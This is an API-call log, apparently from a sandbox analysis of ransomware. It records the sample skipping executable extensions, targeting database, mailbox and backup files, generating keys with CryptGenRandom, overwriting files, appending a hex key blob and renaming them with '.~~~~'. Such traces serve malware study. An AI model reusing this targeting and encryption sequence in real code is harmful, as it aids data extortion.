	[0083.708] GetLastError () returned 0x0
	[0083.708] GetLastError () returned 0x0
	[0083.708] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.708] GetLastError () returned 0x0
	[0083.708] GetLastError () returned 0x0
	[0083.745] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffff5137, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.746] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0xaec9, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0xaec9, lpOverlapped=0x0) returned 1
	[0083.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.746] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.746] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.746] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.746] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.747] CloseHandle (hObject=0x124) returned 1
	[0083.747] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a41b8
	[0083.747] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.~~~~")) returned 1
	[0083.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a41b8 | out: hHeap=0x300000) returned 1
	[0083.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.748] GetLastError () returned 0x0
	[0083.748] RtlWakeConditionVariable () returned 0x365f70
	[0083.748] GetCurrentThreadId () returned 0x3a4
	[0083.748] GetCurrentThreadId () returned 0x3a4
	[0083.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aad90
	[0083.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807bf8 | out: hHeap=0x300000) returned 1
	[0083.748] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a94c8 | out: hHeap=0x300000) returned 1
	[0083.748] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2807bf8
	[0083.748] lstrlenW (lpString=".scr") returned 4
	[0083.748] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".scr") returned 0x0
	[0083.749] lstrlenW (lpString=".cmd") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".cmd") returned 0x0
	[0083.749] lstrlenW (lpString=".dll") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dll") returned 0x0
	[0083.749] lstrlenW (lpString=".bat") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".bat") returned 0x0
	[0083.749] lstrlenW (lpString=".cpl") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".cpl") returned 0x0
	[0083.749] lstrlenW (lpString=".sys") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".sys") returned 0x0
	[0083.749] lstrlenW (lpString=".msc") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".msc") returned 0x0
	[0083.749] lstrlenW (lpString=".com") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".com") returned 0x0
	[0083.749] lstrlenW (lpString=".lnk") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".lnk") returned 0x0
	[0083.749] lstrlenW (lpString=".msp") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".msp") returned 0x0
	[0083.749] lstrlenW (lpString=".pif") returned 4
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".pif") returned 0x0
	[0083.749] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0083.749] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0083.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
	[0083.818] lstrlenW (lpString=".sqb") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".sqb") returned 0x0
	[0083.818] lstrlenW (lpString=".ost") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".ost") returned 0x0
	[0083.818] lstrlenW (lpString=".txt") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".txt") returned 0x0
	[0083.818] lstrlenW (lpString=".mdt") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".mdt") returned 0x0
	[0083.818] lstrlenW (lpString=".BDB") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".BDB") returned 0x0
	[0083.818] lstrlenW (lpString=".eql") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".eql") returned 0x0
	[0083.818] lstrlenW (lpString=".DBF") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DBF") returned 0x0
	[0083.818] lstrlenW (lpString=".EQL") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".EQL") returned 0x0
	[0083.818] lstrlenW (lpString=".FDB") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".FDB") returned 0x0
	[0083.818] lstrlenW (lpString=".EDB") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".EDB") returned 0x0
	[0083.818] lstrlenW (lpString=".DACPAC") returned 7
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DACPAC") returned 0x0
	[0083.818] lstrlenW (lpString=".VHD") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".VHD") returned 0x0
	[0083.818] lstrlenW (lpString=".DBV") returned 4
	[0083.818] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DBV") returned 0x0
	[0083.818] lstrlenW (lpString=".dacpac") returned 7
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dacpac") returned 0x0
	[0083.819] lstrlenW (lpString=".sdf") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".sdf") returned 0x0
	[0083.819] lstrlenW (lpString=".accdb") returned 6
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".accdb") returned 0x0
	[0083.819] lstrlenW (lpString=".DBX") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DBX") returned 0x0
	[0083.819] lstrlenW (lpString=".MDT") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".MDT") returned 0x0
	[0083.819] lstrlenW (lpString=".SQB") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".SQB") returned 0x0
	[0083.819] lstrlenW (lpString=".vhd") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".vhd") returned 0x0
	[0083.819] lstrlenW (lpString=".bac") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".bac") returned 0x0
	[0083.819] lstrlenW (lpString=".mdf") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".mdf") returned 0x0
	[0083.819] lstrlenW (lpString=".BAK") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".BAK") returned 0x0
	[0083.819] lstrlenW (lpString=".BAC") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".BAC") returned 0x0
	[0083.819] lstrlenW (lpString=".dbs") returned 4
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dbs") returned 0x0
	[0083.819] lstrlenW (lpString=".vhdx") returned 5
	[0083.819] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".vhdx") returned 0x0
	[0083.819] lstrlenW (lpString=".NDF") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".NDF") returned 0x0
	[0083.820] lstrlenW (lpString=".dat") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dat") returned 0x0
	[0083.820] lstrlenW (lpString=".DBS") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DBS") returned 0x0
	[0083.820] lstrlenW (lpString=".CKP") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".CKP") returned 0x0
	[0083.820] lstrlenW (lpString=".edb") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".edb") returned 0x0
	[0083.820] lstrlenW (lpString=".PST") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".PST") returned 0x0
	[0083.820] lstrlenW (lpString=".dbf") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dbf") returned 0x0
	[0083.820] lstrlenW (lpString=".SQL") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".SQL") returned 0x0
	[0083.820] lstrlenW (lpString=".pst") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".pst") returned 0x0
	[0083.820] lstrlenW (lpString=".dbv") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dbv") returned 0x0
	[0083.820] lstrlenW (lpString=".SDF") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".SDF") returned 0x0
	[0083.820] lstrlenW (lpString=".dtxs") returned 5
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dtxs") returned 0x0
	[0083.820] lstrlenW (lpString=".db3") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".db3") returned 0x0
	[0083.820] lstrlenW (lpString=".OST") returned 4
	[0083.820] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".OST") returned 0x0
	[0083.821] lstrlenW (lpString=".dbx") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dbx") returned 0x0
	[0083.821] lstrlenW (lpString=".DB3") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DB3") returned 0x0
	[0083.821] lstrlenW (lpString=".DAT") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DAT") returned 0x0
	[0083.821] lstrlenW (lpString=".VHDX") returned 5
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".VHDX") returned 0x0
	[0083.821] lstrlenW (lpString=".ndf") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".ndf") returned 0x0
	[0083.821] lstrlenW (lpString=".DB") returned 3
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DB") returned 0x0
	[0083.821] lstrlenW (lpString=".sql") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".sql") returned 0x0
	[0083.821] lstrlenW (lpString=".MYD") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".MYD") returned 0x0
	[0083.821] lstrlenW (lpString=".DBT") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DBT") returned 0x0
	[0083.821] lstrlenW (lpString=".ACCDB") returned 6
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".ACCDB") returned 0x0
	[0083.821] lstrlenW (lpString=".fdb") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".fdb") returned 0x0
	[0083.821] lstrlenW (lpString=".bak") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".bak") returned 0x0
	[0083.821] lstrlenW (lpString=".myd") returned 4
	[0083.821] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".myd") returned 0x0
	[0083.821] lstrlenW (lpString=".DTXS") returned 5
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".DTXS") returned 0x0
	[0083.822] lstrlenW (lpString=".ckp") returned 4
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".ckp") returned 0x0
	[0083.822] lstrlenW (lpString=".dbt") returned 4
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".dbt") returned 0x0
	[0083.822] lstrlenW (lpString=".db") returned 3
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".db") returned 0x0
	[0083.822] lstrlenW (lpString=".TXT") returned 4
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".TXT") returned 0x0
	[0083.822] lstrlenW (lpString=".MDF") returned 4
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".MDF") returned 0x0
	[0083.822] lstrlenW (lpString=".bdb") returned 4
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".bdb") returned 0x0
	[0083.822] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0083.822] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0083.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0083.822] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0083.822] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39fe28) returned 1
	[0083.823] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0083.823] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0083.823] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0083.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0083.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0083.823] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=20381350296) returned 1
	[0083.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x9bcb1610, dwHighDateTime=0x1d60e1e)) 
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a9538
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0083.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9538 | out: hHeap=0x300000) returned 1
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0083.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807aa8
	[0083.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0083.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0083.824] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807aa8 | out: hHeap=0x300000) returned 1
	[0083.824] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0083.824] GetLastError () returned 0x0
	[0083.824] GetLastError () returned 0x0
	[0083.824] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0083.825] GetLastError () returned 0x0
	[0083.825] GetLastError () returned 0x0
	[0083.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xfffffe2f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0083.826] WriteFile (in: hFile=0x124, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x1d1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x24dfec0*=0x1d1, lpOverlapped=0x0) returned 1
	[0083.826] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0083.826] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0083.826] WriteFile (in: hFile=0x124, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0083.826] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0083.826] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0083.827] CloseHandle (hObject=0x124) returned 1
	[0083.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.827] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf.~~~~")) returned 1
	[0083.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5800 | out: hHeap=0x300000) returned 1
	[0083.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0083.828] GetLastError () returned 0x0
	[0083.828] RtlWakeConditionVariable () returned 0x365f70
	[0083.828] GetCurrentThreadId () returned 0x3a4
	[0083.828] GetCurrentThreadId () returned 0x3a4
	[0083.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5800
	[0083.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0083.828] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a93e8 | out: hHeap=0x300000) returned 1
	[0083.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0083.828] lstrlenW (lpString=".scr") returned 4
	[0083.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0083.828] lstrlenW (lpString=".cmd") returned 4
	[0083.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0083.828] lstrlenW (lpString=".dll") returned 4
	[0083.828] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0083.828] lstrlenW (lpString=".bat") returned 4
